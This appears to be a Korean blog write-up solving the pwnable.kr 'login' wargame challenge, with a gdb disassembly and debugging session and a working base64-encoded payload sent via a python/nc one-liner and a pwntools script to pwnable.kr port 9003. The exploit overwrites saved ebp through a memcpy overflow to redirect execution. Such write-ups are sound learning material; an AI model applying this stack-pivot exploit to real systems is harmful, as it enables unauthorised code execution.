2023. 10. 22. 22:53ㆍ포너블
다음의 코드를 보면 30만큼을 입력받습니다. 그리고 base64로 디코드하게 됩니다. 여기서 알아할 점은 입력을 진행할 때는 base64로 암호화한 상태로 진행해야됩니다!
입력을 받은 이후에 memset을 하게 되는데 0xc만큼 하게됩니다. 0xc=12입니다. 따라서 12만큼의 길이를 입력하여 보겠습니다. 그리고 memcpy에서 취약점이 발생합니다. lob를 클리어하신 분이라면 febp 문제를 알 것입니다. 그 문제의 풀이와 비슷하니 참고해서 풀이를 진행하는 것도 나쁘지 않은 방법인 것 같네요.
리눅스 환경에서 gdb로 돌려보았습니다.
ubuntu@ubuntu:~/Desktop$ gdb -q login
Reading symbols from login...(no debugging symbols found)...done.
(gdb) set disassemby-flavor intel
No symbol table is loaded. Use the "file" command.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0804930d <+0>: push ebp
0x0804930e <+1>: mov ebp,esp
0x08049310 <+3>: and esp,0xfffffff0
0x08049313 <+6>: sub esp,0x40
0x08049316 <+9>: mov DWORD PTR [esp+0x8],0x1e
0x0804931e <+17>: mov DWORD PTR [esp+0x4],0x0
0x08049326 <+25>: lea eax,[esp+0x1e]
0x0804932a <+29>: mov DWORD PTR [esp],eax
0x0804932d <+32>: call 0x80482e0
0x08049332 <+37>: mov eax,ds:0x811b860
0x08049337 <+42>: mov DWORD PTR [esp+0xc],0x0
0x0804933f <+50>: mov DWORD PTR [esp+0x8],0x2
0x08049347 <+58>: mov DWORD PTR [esp+0x4],0x0
0x0804934f <+66>: mov DWORD PTR [esp],eax
0x08049352 <+69>: call 0x805c680
0x08049357 <+74>: mov eax,ds:0x811b864
0x0804935c <+79>: mov DWORD PTR [esp+0xc],0x0
0x08049364 <+87>: mov DWORD PTR [esp+0x8],0x1
0x0804936c <+95>: mov DWORD PTR [esp+0x4],0x0
0x08049374 <+103>: mov DWORD PTR [esp],eax
0x08049377 <+106>: call 0x805c680
0x0804937c <+111>: mov DWORD PTR [esp],0x80da6a5
---Type to continue, or q to quit---
0x08049383 <+118>: call 0x805b630
0x08049388 <+123>: lea eax,[esp+0x1e]
0x0804938c <+127>: mov DWORD PTR [esp+0x4],eax
0x08049390 <+131>: mov DWORD PTR [esp],0x80da6b5
0x08049397 <+138>: call 0x805b690 <__isoc99_scanf>
0x0804939c <+143>: mov DWORD PTR [esp+0x8],0xc
0x080493a4 <+151>: mov DWORD PTR [esp+0x4],0x0
0x080493ac <+159>: mov DWORD PTR [esp],0x811eb40
0x080493b3 <+166>: call 0x80482e0
0x080493b8 <+171>: mov DWORD PTR [esp+0x18],0x0
0x080493c0 <+179>: lea eax,[esp+0x18]
0x080493c4 <+183>: mov DWORD PTR [esp+0x4],eax
0x080493c8 <+187>: lea eax,[esp+0x1e]
0x080493cc <+191>: mov DWORD PTR [esp],eax
0x080493cf <+194>: call 0x8049095
0x080493d4 <+199>: mov DWORD PTR [esp+0x3c],eax
0x080493d8 <+203>: cmp DWORD PTR [esp+0x3c],0xc
0x080493dd <+208>: ja 0x8049413 <main+262>
0x080493df <+210>: mov eax,DWORD PTR [esp+0x18]
0x080493e3 <+214>: mov edx,DWORD PTR [esp+0x3c]
0x080493e7 <+218>: mov DWORD PTR [esp+0x8],edx
0x080493eb <+222>: mov DWORD PTR [esp+0x4],eax
0x080493ef <+226>: mov DWORD PTR [esp],0x811eb40
---Type to continue, or q to quit---
0x080493f6 <+233>: call 0x8069660
0x080493fb <+238>: mov eax,DWORD PTR [esp+0x3c]
0x080493ff <+242>: mov DWORD PTR [esp],eax
0x08049402 <+245>: call 0x804929c
0x08049407 <+250>: cmp eax,0x1
0x0804940a <+253>: jne 0x804941f <main+274>
0x0804940c <+255>: call 0x804925f
0x08049411 <+260>: jmp 0x804941f <main+274>
0x08049413 <+262>: mov DWORD PTR [esp],0x80da6ba
0x0804941a <+269>: call 0x805c2d0
0x0804941f <+274>: mov eax,0x0
0x08049424 <+279>: leave
0x08049425 <+280>: ret
End of assembler dump.
(gdb) b *0x080493fb
Breakpoint 1 at 0x80493fb
(gdb) r
Starting program: /home/ubuntu/Desktop/login
Authenticate : AAAABBBBCCCC
Breakpoint 1, 0x080493fb in main ()
(gdb) c
Continuing.
hash : 760aa6e92148e1cff7380e48de3e535c
Program received signal SIGSEGV, Segmentation fault.
0x00000804 in ?? ()
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/Desktop/login
Authenticate : QUFBQUJCQkJDQ0ND
Breakpoint 1, 0x080493fb in main ()
(gdb) c
Continuing.
hash : 2c840c4e550f243d72f4a4ce74a78371
Program received signal SIGSEGV, Segmentation fault.
0x08049424 in main ()
(gdb) x/i 0x08049424
=> 0x8049424 <main+279>: leave
(gdb) info reg
eax 0x0 0
ecx 0x32 50
edx 0x80da684 135112324
ebx 0x80481d0 134513104
esp 0xffffd120 0xffffd120
ebp 0x43434343 0x43434343
esi 0x0 0
edi 0x811b00c 135376908
eip 0x8049424 0x8049424 <main+279>
eflags 0x210297 [ CF PF AF SF IF RF ID ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
여기서 세그먼트 펄트 뜨는데 이때 나오는 주소를 보니 leave명령어를 가르치는 주소입니다.
leave = mov esp, ebp -> pop ebp ,ret = pop eip -> jmp eip 을 통해 ebp가 가르치는 주소의 ebp+4번째가 ret가 됩니다.
correct함수를 보면 input값과 비교하는 것을 보실 수 있습니다. 이제 인풋값 주소를 알아보겠습니다.
0x0811EB40이 인풋의 주소가 되겠습니다. 여기서 처음 4BYTE는 0xDEADBEEF가 되겠고 다음 4BYTE는 CORRECT함수 주소(RET) 다음 4바이트는 인풋의 주소가 됩니다.
이제 페이로드를 구성하면 다음과 같습니다.
(python -c "import base64;print base64.encodestring('\xef\xbe\xad\xde'+'\x5f\x92\x04\x08'+'\x40\xeb\x11\x08')";cat)|nc pwnable.kr 9003
import base64
from pwn import *
r=remote('pwnable.kr',9003)
print(r.recv())
payload = '\xef\xbe\xad\xde'+'\x5f\x92\x04\x08'+'\x40\xeb\x11\x08'
enc = base64.encodestring(payload)
r.sendline(enc)
print(r.recv())
print(r.recv())
'포너블' 카테고리의 다른 글
DSFSB (0) | 2023.11.05 |
---|---|
64bit format string bug 문제 풀이 (1) | 2023.10.08 |
64bit format string bug (0) | 2023.10.01 |
format string bug 32bit (0) | 2023.09.30 |
Dreamhack - oneshot (0) | 2023.09.24 |